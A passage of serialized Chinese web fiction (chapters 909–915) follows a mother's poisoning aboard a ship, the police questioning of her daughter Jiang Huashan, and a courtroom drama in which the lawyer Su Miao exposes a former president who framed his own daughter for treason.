那时她牵着姜晚意小小软软的手,暗暗下定决心,将来不管是鲸港还是沈园,她都要占据一席之地。 谁能想到命运就是这么奇妙,短短十年不到,却已物是人非。 从姜晚意说出沈渊的名字时,方眉就已经意识到,这个孩子也长大了。平心而论,相较于姜花衫,她更爱姜晚意,可这份爱其实也贫瘠得可怜,一旦感受到威胁,她照样可以毫不犹豫地丢弃。 比如现在。 “咚咚咚——” 门外响起了轻柔而规律的敲门声。 “您好,客房服务。” 方眉收敛心神,穿过奢华空旷的客厅,打开了房门。 门外站着一位身着笔挺制服的服务生,脸上带着训练有素的恭敬微笑,手中推着一辆精致的餐车,车上冰桶里正镇着一瓶红酒。 “晚上好,夫人。” 方眉端着仪态,上下打量了服务生一眼,“我没有点餐。” 服务生微微躬身,“这是独属于本套房尊贵VIP客人的欢迎礼。” 方眉的视线落在那瓶红酒上,即使她不甚精通,也能从那古朴厚重的瓶身和烫金酒标上,判断出它的价值不菲。 这些她曾经需要费尽心机才能沾到边的东西,如今,却被作为“理所应当”的福利恭敬地送到她面前。这就是金钱的魅力。 她沉默片刻,让开了身。 服务生熟练地将冰桶和晶莹的高脚杯放在客厅的茶几上,再次鞠躬:“愿您本次航行愉快。” 房门轻轻合上,隔绝了外界。 方眉走到茶几旁,指尖拂过冰桶外凝结的冰凉水珠,然后拿起那瓶酒,为自己斟了浅浅一杯。 暗红色的酒液在灯光下漾出诱人的光泽。她摇晃着红酒杯,漫步走到落地窗前,高高举起酒杯,像是胜利的宣告,又像是最后的诀别: “敬自由。” “敬……这无所不能的金钱。” * 与此同时的沈园,却是另一番景象。 姜花衫被沈庄接回后,所有人默契十足,没有一个人问及那笔天价财富的归属,也没有一个人流露出半分怜悯。他们待她如珍贵的瓷器,小心翼翼,呵护备至。 晚宴准备了地道的淮城美食。虽然所有人都不想表现得太过刻意,但行为上那克制不住的关怀时时露出马脚。 姜花衫虽然嘴上没说,但心里是高兴的。 沈庄的包容和庇护都藏在无声的细节里。饭后闲聊了几句,便让她回去休息。 姜花衫累了一天,也没有推辞,起身回了菊园。 张茹早就在门口等着她,远远瞧见便忙不迭地迎上前,嘴里絮絮叨叨,一会儿说准备了甜汤,一会儿又催促她去泡个澡。 姜花衫笑着答应,舒舒服服泡了个热水澡。刚换上睡衣,脸上的热气红晕还未完全消退,就听见门外传来沈娇的声音。 “衫衫姐,睡了吗?” “没呢。”姜花衫一边应着,一边上前开门,“妈,您找我?” 沈娇点头,往屋里看了一眼,“有点事,进去说。” 姜花衫也没在意,主动让开道,等沈娇进屋才掩上门跟了上去,“什么事啊?怎么还神神秘秘的……” “诺。”不等她说完,沈娇抽出夹在腋下的文件袋,“这个你拿着。” 姜花衫立马就猜到了文件里的东西,神色微动。 沈娇见她一动不动,皱眉瞪了她一眼,直接将文件塞给她,“跟我还客气什么?给你的就拿好。” 姜花衫看着手心沉甸甸的资料,一时不知道该说什么。 沈娇上前,轻轻摸了摸她的头,语调温柔:“不是所有母亲都会计较代价的。她不愿意,我愿意。” 姜花衫目光微微一怔,抬眸看向沈娇。 沈娇不想她有负担,连忙摆摆手:“我这话是不是太肉麻,恶心到你了?你知道意思……” “不是。”姜花衫摇头,笑了笑,“我明白的。” 沈娇眼里的笑意深了几分,又叮嘱了几句才起身离开。 送走沈娇,房间里瞬间安静下来。 姜花衫将手里的文件原封不动放在书桌上,慢步走到窗边。 今晚的月色格外淡,落在窗台好似笼罩了一层轻纱。 …… 第910章 死局 -【叮——】 -【警告:由于创作者无端介入剧情,导致主线剧情出现重大失误,现已启动书灵修复程序。】 -【提示:目标人物方眉人物弧光到达目标值,创作者的名场面桂冠属性被激活,当前条件不允许修改,书灵修复失败。】 -【叮——】 -【通知:由于当前章节重要剧情人物死亡,原定剧情无法推动,现已为您重新生成剧目篇章。】 -【叮——】 -【生成完毕——】 -【警告:当前主线偏离已经超过82%】 -【警告:主线偏离90%,剧目世界将毁于一旦。】 室内只余一盏昏黄的夜灯,空气中弥漫着静谧的馨香。 姜花衫缓缓睁开眼,潋滟的眸光在黑暗中格外平静。 重要剧情人物死亡? 她沉默了许久,捂着额头慢慢坐起身,拿起床边的手机点亮屏幕。时间停在凌晨两点十五分。 她盯着屏幕出神,一时分不清自己究竟是难过还是不难过。 早在决定去见方眉最后一面时,她就猜到了方眉必死的结局。 方眉知道那些人那么多事,他们怎么可能愿意放她离开? 所谓跳楼博取眼球,极有可能是一场连方眉自己都被蒙在鼓里的阴谋。他们最后一定会假戏真做。而她之所以能猜到对方的棋路,还是多亏了姜晚意。 姜晚意约她出来,故意透露方眉的恶意,其实也是在布局。若是她听信了姜晚意的话,方眉跳楼威胁她时,她只会当作是哗众取宠的手段而避而不见。这个时候,只要方眉出现一丁点意外,她就会被迫背上逼死生母的污名。 这才是背后谋划者想要阻止她出庭的真正手段。 她看得清清楚楚,所以一番思量后,决定以退为进主动割肉。 她深谙方眉的脾性,虽然这个女人贪婪重利,但在最绝境时也没有丢下姜晚意,说明在利益得当的时候,她仍然会是个母亲。于是,她加重筹码,用方眉不能拒绝的财富唤醒了她贫瘠的母爱。 果不其然,方眉在洞察她的意图后,依旧选择了她,所以才有了她们对话中的那句"合作愉快"。 但方眉不知道的是,她的算计远不止于此。 她不仅看透了方眉,也看透了姜晚意。 姜晚意早已恨方眉入骨,那些人为了让自己手脚干净,一定会让姜晚意成为刽子手。 所以她虽然解了方眉坠楼之局,却依旧改变不了她命定的死局。 因为,姜晚意一定会再次出手。 虽然早已预见了结局,也做好了应对一切的准备,但这一刻真正到来时,她还是失眠了。 * 姜花衫一夜未眠,直到天际由浓墨转为鱼肚白。她如往常般起身洗漱,换上得体的衣物,仔细梳理长发。 镜中人脸色稍显苍白,但眼神坚定,看不出半分异常。 当她收拾妥当推开房门时,沈庄、沈兰晞、沈清予、沈娇等人竟都已等在菊园外。 晨光熹微中,他们谁也没有多问,只是用沉默而坚定的姿态给予庇护和包容。 "走吧,"沈庄拄着拐杖,声音沉稳,"爷爷送你过去。" 一行人浩浩荡荡穿过内院,刚走出沈园大门,脚步却齐齐顿住。 只见数辆挂着特殊牌照的黑色轿车无声滑至门前,一字排开。车门打开,下来七八名身着制服的警署人员。为首之人主动亮出一份盖着红印的文件,恭敬地向沈庄点头致意,随后转身看向人群中央的姜花衫。 "姜小姐,我们是警署厅特情队的。现怀疑您与一桩重大刑事案件有关,这是拘捕令。请您配合我们回去接受调查。" 空气仿佛在这一刻凝固。 沈庄缓缓抬眸,目光冷沉。 沈兰晞和沈清予明显一怔,眼神骤然变得锋利如出鞘的寒刃。 傅绥尔和沈眠枝对视一眼,正要开口,却被沈娇拉了回去。沈娇一马当先拦在众人面前,冷声呵斥:"你们警署厅办的什么案子?好大的架势,竟敢跑到我家里来拿人?" "我们是依法办事,程序合规,还请姜小姐配合。"为首的特情队员语气强硬,不容置疑。 "配合什么?"傅绥尔一把甩开沈娇的手冲到前面,"今天是衫衫出庭的日子,你们一句要抓人,法院那边怎么办?" 为首的特情队员并未将傅绥尔放在眼里,抬眸打量沈庄一眼,客气道:"警署厅已向法院递交申请。目前姜小姐的情况不适合出庭辩护,法院已同意更换律师。" 沈兰晞冷声打断:"这个时候更换律师未免太儿戏了!你们到底因何原因拘捕姜花衫?若没有真凭实据,又给不出合理解释,我立即向监察局提起诉讼。到时候别说你们,整个特情组都要吃官司。" 为首人员面色为难。沈家势大,这话绝非虚言。 他到底不敢真的得罪沈家,清咳一声,硬着头皮小声道:"老爷子,诸位,实在不是我们有意为难。只是……方眉女士在昨晚驶离的公海渡轮上遇害了。" 这消息如同平地惊雷。沈家众人猝不及防,片刻后想到什么,纷纷担忧地看向姜花衫。 沈庄面沉如水,拄着龙头杖的手指几不可查地蜷缩了一下。 特情队员继续解释:"案件发生在今天凌晨,性质极其恶劣。我们抓捕到的一名涉案人员供认,是受……是受姜小姐指使。声称姜小姐因不满方眉女士多次巨额勒索,心怀怨恨买凶杀人。" “目前公海盗匪活动猖獗,此案影响极坏。为防止事态进一步扩大,我们必须请姜小姐回去配合调查,厘清真相。这既是程序,也是为了尽快查明真凶,还所有人一个清白。还请诸位和姜小姐理解,配合我们的工作。" 第911章 请随我入场 “姜小姐,请。”闻言,两名特情队员立即上前准备执行程序。 “慢着。” 一直沉默不语的沈庄终于开口了,声音不高,却带着千钧之力,让那两名队员的动作瞬间僵住。 为首的负责人硬着头皮上前,却不敢与沈庄对视,姿态放得极低,“沈老,您这是……?” 沈庄并未看他,目光淡淡扫过沈兰晞与沈清予,语气不容置疑:“兰晞,清予,你们陪着衫衫一块儿去。” “是,爷爷。”两人立刻应声,步伐坚定地站到了姜花衫身侧。 “这……”特情组负责人面露难色,小心翼翼地斟酌用词,“沈老,这……这恐怕不合规矩。我们只是请姜小姐回去协助调查,家属陪同,程序上……” “只是协助调查,不是定罪。有家人陪着,天经地义。” 沈庄缓缓掀眸,那双沉淀沧桑的眼眸并未显露怒意,却让人感到一股寒意从脊椎窜起。 男人所有婉拒的说辞瞬间冻结在了喉间,终究没敢再吐出一个“不”字,只能低下头,默认了这个安排。 沈庄这才看向姜花衫,威严的目光瞬间柔和下来。 “别怕,事情说清楚了就回来。” 老爷子抬手,认真替她整理整齐的衣领,动作缓慢而细致,仿佛只是很普通的送别。 姜花衫笑了笑,“我知道的,爷爷放心。” 特情组负责人见状哪还有不明白的?态度温和了不少,“姜小姐,请。” 姜花衫点头,跟着特情组的人上了车,沈兰晞和沈清予紧随其后,分别坐入了另外的车辆。 黑色的车队在晨光中无声启动,缓缓驶离了沈园大门,留下几道凌乱的车痕。 直到车队彻底消失在视野尽头,一直强忍的沈娇终于按捺不住,猛地转向沈庄。 “爸!您怎么能让他们把衫衫带走了?就算有兰晞和清予跟着,那可是特情组!他们明显来者不善!” 沈庄并未立刻回答。他依旧拄着拐杖,身姿挺拔地立在原地,脸上的皱纹在晦暗的光线下显得愈发深刻。 “慌什么?” 半晌,老爷子才缓缓收回目光,抬眸瞥向沈娇一眼,“特情组之所以敢来家里请人不过是占了公海治安的由头,就如他们自己说的,例行公事罢了。” 傅绥尔还是有些担心,“可是,万一他们借此陷害衫衫……” 沈庄顿了顿,拐杖轻轻点地,发出笃的一声轻响,“没有万一,他们不敢。” 一个盗匪的信口雌黄就敢给沈家定罪,那些人还没这个能耐。 * 法院,候审区。 空气里弥漫着消毒水和陈旧木材混合的沉闷气味。冰冷的长椅,惨白的灯光,一切都透着法律机器独有的肃穆与压迫感。 余斯文独自坐在角落闭目养神,昂贵的定制西装也掩不住他眉宇间积压的阴沉与疲惫。 就在这时,助理脚步匆匆走了进来,俯身在他耳边低语了几句。 余斯文摩挲袖扣的动作猛地顿住。 “消息确认了?”他声音压得很低,带着一丝不易察觉的紧绷。 “确认了,天没亮就被特情组的人从沈园带走了,罪名是涉嫌买凶杀害方眉。” 助理的声音里带着一丝如释重负的庆幸,“公海的案子一时半会儿根本说不清。她今天绝对无法出庭了。” 余斯文沉默了足足有十几秒,冷哼了一声,嘴角勾起一抹冰冷而复杂的弧度。 “一群废物。” 这声轻笑嘲讽至极。 他要的不是姜花衫不能出庭,而是要她身败名裂死于非命,枉那群人自诩高高在上无往不利,现在竟然连一个黄毛丫头都对付不了,简直就是天大的笑话! 助理脸色微变,左右看了看又压低了声音,“先生,那边传话来,他们已经看过对方上交的材料,并没有新证据提出。现在临时更换律师,她们的准备工作一定不齐全,再加上沈年叛国罪已经成立,只要您咬死沈年与余小姐的关系,你的胜算还是很大的。” 闻言,余斯文冷静了不少,说的对,他现在最重要的是必须要利用好这次的转机为自己打一个漂亮的翻身仗,否则,那些人为了保守秘密,绝不会放过他。 这些人动不了沈家人,但对付一个他还是绰绰有余。 念此,余斯文指尖无意识地摩挲着袖扣,脑海里反复推演着即将到来的庭审和每一个可能出现的漏洞。 就在这时,候审区沉重的木门被人从外侧推开,发出“吱呀”一声轻响。 一名身着法院制服的工作人员站在门口,面容严肃,公式化地宣告:“余斯文先生,庭审即将开始,请随我入场。” * 与此同时,对立原告候审区。 光线透过高窗,在冰冷的大理石地面上投下几方规整的光斑,将房间内原本沉滞的空气切割出几分肃穆。 “余笙,庭审即将开始,请随我入场。” 清亮而沉稳的女声响起,打破了室内的寂静。 坐在长椅上的余笙应声抬头,映入眼帘的是一双干净温暖的手。 苏妙身着藏青色职业西装套裙,西装驳领挺括,勾勒出她纤秪合度的身形,裙摆下的小腿线条流畅,黑色细跟高跟鞋自信从容。 她掌心向上,带着无声的支撑。晨光恰好落在她半边脸庞上,那双乌瞳灼灼生辉,里面没有丝毫临战前的紧张,只有洞悉全局后沉淀下来的强大自信。 岁月喜人,当初那个只敢躲在姜花衫身后寻求帮助的少女已经可以向别人伸出双手了。 余笙心中五味杂陈,“她不会有事吧?” 苏妙自然知道余笙口中的‘她’是谁,笑着摇了摇头,声音笃定:“不会。” 余笙不解,“你为什么这么肯定,那个人毕竟是……她的妈妈啊。” 为什么肯定? 那当然是因为这世间不会有任何人比苏妙更明白姜花衫此时的心情了,当初她经历被生母抛弃的痛苦时,是姜花衫握着她的手教她杀死恐惧。所以她坚信,一个能将她拉出深渊的人绝不会被深渊吞没。 苏妙眼里闪过温柔又坚定的光,“是妈妈没错……但同样也是豺狼。她不会被迷惑的,我能站在这里,就说明了一切。” …… 第912章 正义不会因为任何人缺席 审判庭内,国徽高悬,象征着公平与正义。图徽之下,书记员正在做最后的准备,冰冷的设备闪烁着指示灯。听审席上只坐着寥寥数人,尚未开庭,那份沉重的压抑感便已扑面而来。 关鹤特意换了一身帅气西装,一副看戏姿态四下观望。 今日的庭审法院直接清场,能坐进这个会场的都不是普通人。关鹤环视一圈都是熟面孔,熟稔地打过招呼后,目光便落在了不远处的人影身上。 苏韵穿着一身黑色小香风套装安静地坐在角落,薄施粉黛,美不胜收。 这次陪同苏韵一起出席的还有苏灼。因常年自律留下的印记,他坐姿笔挺,双手交叠置于身前,腕骨突出,手指修长有力。 察觉到有人窥探,苏灼抬眸淡淡扫过全场,与关鹤投来的目光在空中短暂相接,随即不着痕迹地侧过身同苏韵说话,遮挡了大片视线。 “嗤。”关鹤低头理了理领结,一个侧身连跳了几个座位,转眼蹭到了苏韵跟前。 “诶!你们俩也是来给姜花衫打气的?” 因为姜花衫的暗算,关家被迫只能声援余笙。如果这场官司败了,对关楼也会有影响。但眼下局势不明,关楼不好亲自出面,特意让关鹤过来盯着。 关楼的原话是让他低调行事,别去庭审前面凑热闹,关鹤却只听半句,大摇大摆坐上了听审席。 苏韵和苏灼对关鹤没什么好印象,只当没听见他说话。 关鹤哪受过这种气,咬了咬牙,冷笑了一声故意道:“看来你们还不知道?” 苏韵眉头微蹙,迟疑片刻抬眸迎上关鹤的目光:“知道什么?” 苏灼低声提醒:“别搭理他。” 关鹤斜眼乜了苏灼一眼,翘起二郎腿装腔作势:“我是看大家都很关心余笙才好心过来提醒的,要是不想听……拉倒!” 说罢,他一副大爷模样站起身。 “诶。”苏韵连忙喊住他,“你知道什么?” 她并非不知道关鹤故意拿乔,但事关余笙,她不敢大意。 关鹤站起身,扯着嘴角笑了笑:“刚刚不是还不想搭理我吗?现在,我也无可奉告。” 说完,他昂起头大摇大摆坐回了自己的座位。 苏韵:“……” 苏灼淡淡收回目光,低声安慰:“关鹤一直都是这样,不用搭理他。” 回到座位,关鹤一脸暗爽,掏出手机噼里啪啦开始输入。 -【姜狗逼被抓了,今天这官司只怕不好打,我赌五个小星星,余笙要吃瘪。】 对方回得很快。 -【跟注。余笙胜。】 “啧。” 看见这几个字时,关鹤一脸诧异,眉头都快拧成了麻花,“不是,钱多没地方花了?” 他正要再发消息追问,法庭侧门再次被推开,被告余斯文走了进来。 所有人的目光齐刷刷投向入口处。 与之前在候审区时的阴沉不同,此刻的余斯文已经调整好了心态,重新披上了那层精心打磨过的外壳。 他并未直接走向被告席,而是在通道中间略微停顿,目光率先投向审判席,朝着端坐的法官和几位陪审员微微颔首,动作幅度不大,却带着不容忽视的从容。 法官面无表情地看着他,并未回应这无声的问候。陪审团成员们的反应则各不相同,有人下意识地避开了他的视线,有人则略显局促地微微点头回礼,氛围因他这刻意维持的“风度”而变得更加微妙。 关鹤在听众席上看得分明,嘴角勾起一抹毫不掩饰的讥讽:“这老阴逼不好对付啊。” 就在这时,另一侧的入口也传来了动静。 众人的视线立刻被吸引过去。门开了,余笙穿着一身素净的连衣裙,脸色比之前更加苍白了些。她微微低着头,双手紧握放在身前,那身影在空旷的通道和巨大的法庭空间映衬下,显得格外单薄和无助。 几乎是同时,所有人的反应都一样。 姜花衫呢? 苏韵见状,心跟着悬了起来,一脸诧异看向苏灼:“怎么回事?怎么只有阿笙一个人。” 苏灼也没看懂这是怎么回事,低声安慰:“别急,可能有别的安排。” 与此同时,审判席的议论声也逐渐扩散。明明这场官司的主角是余笙和余斯文,但不知从什么时候开始,大家的关注点渐渐转移到了那个一句话就能搅动风雨的少女身上。 被告席上的余斯文将这一切尽收眼底。他心中那最后一丝不确定终于彻底消散,取而代之的是一种稳操胜券的笃定。 在余笙经过身旁时,他故意用一种近乎怜悯的关心语气问道:“阿笙,怎么只有你一个人?姜小姐呢?怎么没陪着你?” “今天没有姜小姐,只有苏小姐。” 恰是这时,一道清亮沉稳、带着不容置疑力量的女声,从原告席侧的入口处传来。 余斯文眼里那抹得意的笑意瞬间僵滞,怔愣了片刻,才回过神循声望去。 苏妙手中拿着一个轻薄的银色电子档案夹,与余斯文侧身而过时眼皮都没抬,径直走向原告席。 因卡塔尔汗的土地捍卫案声名大噪,A国民众亲切称呼她为“毒舌判官”的苏妙一出现,瞬间将整个庭审现场炸开了锅。尤其是苏韵,在看见苏妙的那一刻,难以置信地直接站了起来。 “尊敬的审判长,各位陪审员。我是原告余笙的代理律师,苏妙。交接程序已于三天前完成,从此刻起,由我全权负责本案的诉讼事宜。” 苏妙顿了顿,目光倏地转向已经变脸的余斯文,唇角勾起一抹极淡却锋芒毕露的弧度。 “正义从不会因任何人的缺席而缺席。今天,我将代表我的当事人,在这里厘清事实,捍卫她的合法权益!” …… 第913章 后生可畏 在法庭上,辩护律师的陈述和辩论对象是审判长和合议庭,而不是对方当事人“被告”。 如苏妙这般直接称呼余斯文被告并使用宣战性话语可谓火药味十足,海兰法学院出来的高材生不可能不知道司法礼仪,所以这是蓄意挑衅。 局势突然扭转对余斯文来说可谓是当头棒喝。 刚才苏妙提到交接手续三天前就已经完成,这说明这场战役对方已经做足了准备。 在此之前,他们测算过姜花衫所有的后棋,自以为已经天衣无缝,没想到她竟然将最后一棒杀交给了一个从未在棋盘上出现过的人。 余斯缓缓抬眸,目光阴冷飘向对面的原告席。此刻,他终于意识到,原来自己才是那个被困在陷阱等待绞杀的猎物。 余笙掀动眼睑,安静与余斯文隔空相对,楚楚可怜的眸底倒映着晦暗的幽光。 “肃静!” 书记员开始例行程序,核实双方身份。冰冷、公式化的声音在法庭回荡,每一个字都敲打在紧绷的神经上。 “全体起立!” 伴随着法槌敲响的清脆声音,审判席后的帷幕开启,身着黑色法袍的审判长与陪审团成员鱼贯而入。 “请坐。” 众人落座,衣物摩擦声细微地响起。 法官宣读案件原委,清了清嗓子,“现在,请原告律师进行开场陈述。” 苏妙站起身,目光平静地扫过全场,最后定格在余斯文身上。 “审判长,各位陪审员。今天站在这里的,不是一位前总统之女与一位前政要的私人恩怨,而是一个关于背叛与构陷,关于权力如何腐蚀人性,关于真相如何被层层掩盖的案子。” “我的当事人,余笙女士,被她的亲生父亲,也就是被告人,指控叛国。理由是她''窃取''了所谓的国家机密,并通过海外账户进行交易。然而,事实的真相恰恰相反!” “是被告人余斯文,利用职务之便,长期进行出卖国家利益的行为!他精心策划,将那些见不得光的交易记录,通过技术手段栽赃嫁祸给自己的女儿!目的就是在东窗事发时能有一个完美的替罪羊!” “而他之所以选择自己的女儿,不仅是因为血缘关系最容易取信于人,更因为他深知一个父亲指控女儿叛国,所带来的戏剧性效果足以混淆视听转移焦点!” “荒谬!这是刻意诬陷!无端指控!”余斯文终于忍不住,低喝出声。 他不得不出声打断,因为苏妙直接否认了上一次他闭庭前的所有指控,并将案件提升到了国家与人性层面,一旦这样的认知深入人心他很难再扭转局势。 审判员掀眸看了苏妙一眼,又低头看文件,“原告律师,请依据被告指控进行阐述。” 苏妙挑眉,对于审判长的提醒心领神会,她十分有风度点了点头,“是。审判长,我想请问被告人三个简单的问题。” 审判长颔首,苏妙转身面向余斯文,抬手比数三根手指。 这个动作瞬间让余斯文梦回姜花衫,如临大敌,全身寒毛都竖了起来。 “第一!”苏妙放下一根手指,“你所提供的证据里只有我当事人和沈年在同一个聊天室的资料,我细细翻阅过上面的记录,除了一些无病呻吟的调侃并未有实质指向的叛国内容。那份资料只能证明我的当事人或许认识沈年或者曾经有过交集,并不能作为叛国证据。” 余斯文早料到她会以此辩护,冷冷道,“上面明确记录了,一年前东湾贸易中心展的恐怖事件就是沈年策划,余笙共同参与,这难道还不够吗?” “不够!”苏妙直接否认。 余斯文愣了愣,心头一紧,正想看清苏妙脸上的情绪,苏妙却没有给他这个机会,转身面上审判席,掷地有声,“审判长,各位审判员,法律承认的证据必须满足客观性、关联性以及合法性。” “针对以上三点,事实观点是:资料上虽然显示沈年是一年前东湾事件主谋,但基本都是沈年自述,我当事人并未回复,这并不能直接证明我当事人参与其中。也有可能是沈年这个人好大喜功,做了一件自以为了不起的坏事就喜欢和聊天室的人分享。” “为什么我会有这样的关联推测?请审判长和各位陪审员酌情考虑一个事实,那就是,我的当事人余小姐,她并不知道聊天室里的成员身份,也就是说,她根本不知道自己在跟谁对话。这是一个很重要的事实依据。” “请诸位试想一下,你随便进入一个聊天室,在不知道对方是谁的情况下,有人告诉你,他明天就要去炸街炸楼,你的反应会是什么?大概率会当个玩笑一笑了之,对吗?” 审判长情绪不明,但几位审判员明显意志松动,隐隐有被说服的迹象。 余斯文大感不妙,沉声截断,“不明事实之前可以当做玩笑,那事情发生之后呢?东湾事态如此恶劣,原告一直都有关注时事的习惯,她不可能不知情。就算证据不能直接指认原告有参与,但她知情不报也是事实。” “说对了!”苏妙附和,回头冲着余斯文咧嘴一笑,“所以这份证据只能证明我的当事人知情不报,但是被告先生,知情不报和叛国罪是完全不相干的两项指控,您的证据不足以支撑叛国,至于另一项指控,也不在这里审理。” 一句被告先生怼得余斯文哑口无言。 三年前,傅绥尔一篇《致无能的总统先生》鞭辟入里,让他成为了A国最受争议的在职总统。 而现在苏妙又用一句被告先生称呼他,明显想借此唤起民众对他的审判。 余斯文心头一悸,忽然意识到恐惧。他明明已经很小心了,却还是掉进了对方精心布置的陷阱里。 难道,这就是常言道的后生可畏? …… 第914章 峰回路转 与此同时,警署厅特情队的审讯室内,却是另外一番光景。 单调的白炽灯将房间照得亮如白昼,四面是隔音的浅色墙壁,除了一张金属桌和三把椅子,再无他物。 姜花衫安静地坐在桌子一端,姿态从容,与对面两名面色严肃的特情队员形成鲜明对比。 沈兰晞和沈清予被安排在隔壁的观察室,两屋中间隔着一扇单向玻璃,观察室的人可以清楚看见里面的一举一动。 一名特情队员将一张彩色打印的照片推到姜花衫面前的桌面上。照片上是一个面容凶悍、带着刀疤的男人,眼神浑浊,一看便知是亡命之徒。 “姜小姐,请你仔细看看这张照片,认识这个人吗?” 姜花衫垂眸,目光在照片上停留了大约三秒,摇了摇头,“不认识。” “姜小姐,请问今天凌晨一点到三点之间你在哪里?在做什么?” 姜花衫不假思索,“在菊园睡觉。” “谁可以作证?” 姜花衫差点被逗笑了,抬眼看向眼前两人,“你们到底想问什么?我母亲被杀,我也是受害者,只要能抓到凶手,我一定尽力配合。” 两人对视了一眼,沉默片刻,其中一人再次开口,“姜小姐,根据我们的调查,你的母亲是在凌晨一点到三点之间被人杀害的。嫌疑人先是在红酒里下了毒,等到药性发作时偷偷潜入房间打算毁尸灭迹,但不巧被值班的服务生撞见,报了警。” “公海警署厅接到报案后立即封锁了现场,但还是被另外几人逃脱,现场只抓到一名嫌疑犯,也就是照片上的男人。据他交代,他们是受了你的指使杀人灭口。” 姜花衫表情淡定,“证据呢?他说是受了我的指使,录音呢?赃款呢?” 两人立刻从文件夹里抽出一张资料,“他提供了一个账号,上面显示有人通过海外账户与他们建立联系。通过技术层层剥茧,我们追查到那个海外账户与你名下企业曾经有过合作关系。” 姜花衫接过资料,细细扫了一眼,又将资料递了回去,“这位长官,恕我直言,如果你们单凭这份证据就想定我的罪,我将质疑公海警署厅的办案能力。众所周知,我已经将我名下所有资产都转移给了我的母亲,所以那些名下企业也就跟我没有关系了。其次,我名下企业那么多,如果有人想要纯心陷害,这对他们来说轻而易举。最后,这也是最重要的——我,没有杀人动机。” “你的母亲拿走了你所有的财产,难道你不恨她?” 姜花衫扯了扯嘴角,抬起头,“这位长官,我需要纠正一下:我与我母亲签下的合约写明了是自愿赠与。那些钱不是她拿走的,是我给她的。我和我母亲之间的恩情与钱财已经了结,我并不恨她,所以也不会杀她。” 闻言,对面两人再次沉默。 昨天鲸港帝豪跳楼案闹得沸沸扬扬,各大媒体争相报道实况,他们很清楚姜花衫说的是实话。 姜花衫抬手托腮,指尖轻点桌面,“长官,我心里一直有几个疑问想不通:为什么我的母亲要连夜离开鲸港?为什么她是一个人?姜晚意呢?母亲不是最爱她吗?为什么她没有陪着母亲?” 两人被问得有些措手不及,年长的男人抓了抓头,“你问的那个姜晚意是你妹妹吧?我们也在第一时间通知了她,但她突然消失了,根本联系不上人。” 另一人补充道,“警署厅现在怀疑,她是不是也被害了?” 姜花衫:“……” 隔壁观察室内,沈兰晞和沈清予并排站在单向玻璃前。 沈清予的目光在手机上停留了片刻,拍了拍沈兰晞的肩膀,将手机递上前。 沈兰晞垂眸扫了一眼,淡漠的眼底闪过一抹幽光。 苏妙能出现在庭审现场,说明这一切还在她的掌控之中。 * 庭审现场,苏妙并没有给余斯文太多喘息的机会。在成功将“叛国”指控与“知情不报”区分开后,她落下第二根手指,再次发起猛攻。 “被告曾向法院提供了一份沈年与境外势力签署的卖国合约。请问,这份合约是通过何种渠道获得?是你亲自交易所得,还是通过第三方?如果是第三方,请提供该第三方的具体信息以供法庭核查。若没有取证来源,我方有权质疑证据的合法性。不然,这份足以定罪的‘铁证’总不可能是凭空而降吧?” 这两个问题直指证据源头,一个比一个犀利,立马引发了现场一阵骚动。 余斯文脸色微沉,刚要开口辩解,苏妙语速如连珠炮般发出第三问,也是目前最致命的一击: “第三!被告口口声声说是我的当事人窃取了你电脑中的机要文件。那么,请你当庭向法庭和陪审团说明:你个人办公电脑中,为何会存有需要最高权限才能打开的‘绝密级’文件?根据A国《保密法》及《公务员行为守则》,此类文件严禁存储于个人设备!你作为前政要,对此不可能不知情!” 苏妙收拢手掌,直指余斯文,目光如炬: “解释一下吧,被告先生!是你公然违抗国家法令,私藏绝密文件于个人电脑?还是你从一开始就在撒谎?!所谓的‘文件被盗’根本就是子虚乌有,是你为了构陷女儿而编造的谎言?!这两项指控,你必须选择一项承认!” “你……!”余斯文脸色瞬间变得难看。 苏妙这连环三问,逻辑严密,步步杀机,彻底打乱了余斯文的节奏。 瞬间,法庭内一片寂静,所有人都屏息凝神,等待着余斯文的回应。 余斯文深吸一口气,闭眼调整了片刻,死死攥紧拳头,缓缓开口,“我承认,是我行为有失,才让我的女儿钻了空子。” 余笙眼中的雾气骤散,缓缓抬头,平视余斯文。 这就是她的父亲——宁愿被迫承认自己行为有失,也要将她拖入深渊。 苏妙啧啧摇头,露出胜券在握的微笑,“审判长,各位陪审员,鉴于被告人方才的陈述,及其在本次庭审中提出的多项严重却无法自证的主张,我方申请,当庭递交一份由A国国情局刚刚完成最终审核的关键证据。” 此话一出,现场瞬间沸腾。 …… 第915章 一锤定音 竟然还有证据,而且已经通过了国情局审核?! 余斯文瞳孔骤然收缩,一直努力维持的从容面具第一次出现了清晰的裂痕。一名法警快步上前,从苏妙手中接过一个封印完好的加密档案袋,上面醒目的国情局钢印和封条深深刺痛了他的双眼。 国情局是A国专门处理危害国家安全重大案件的特殊机构,由国情局盖棺定论的证据完全没有反驳的余地。她们从一开始就藏着底牌,故意像戏耍小丑一样看着他表演。 苏妙转身面向听审席,清越的声音在嘈杂声中脱颖而出:“这份证据经过国情局技术部门反复核验,确认是未经任何篡改的原始数据。其内容清晰揭示了被告人余斯文与境外某国高层如何利用沈年案构陷余小姐的全部过程。” 证据被当庭拆封,并在审判长的许可下,播放了其中最关键的一段录音。 -【我故意引沈年入局等的就是今天,沈家这次就算是跳进黄河也洗不清了。这份证据你拿着,如果还不能站稳脚跟,那就只能说明你太没有用了。】 -【予夺生杀的棋盘容不下废子,余先生,我说的够清楚了?】 -【明白。但阿笙有沈家相助,只怕不好对付。】 -【放心,到时候有了沈年之祸,沈家根本腾不出手,至于那个叫姜花衫的黄毛丫头,一身破绽,不足为虑。】 -【明白。有劳老爷子费心了。】 蓦地,旁听席上一片死寂,所有人都被这突如其来的反转和其中内情震撼得说不出话来。 竟然是他和李儒的电话录音! 余斯文大脑嗡的一声一片空白,录音里的每一个字都如同丧钟,敲响了他生命与仕途的倒计时。之前所有的算计和表演,在这份铁证面前显得滑稽可笑。 他缓缓抬眸,目光在苏妙和余笙之间逡巡了一圈,眼中的血色毕现。 “你们是故意的!” 此刻,余斯文原形毕露,双拳紧握用力敲击着桌面,几乎丧失理智地对着原告席大吼大叫:“你们明明已经掌握了证据,为什么不一开始就拿出来!你们这是在藐视法庭,藐视我!” “藐视法庭不存在!”苏妙丝毫不惧,当头反斥,“只是单纯的藐视你!” “你……” 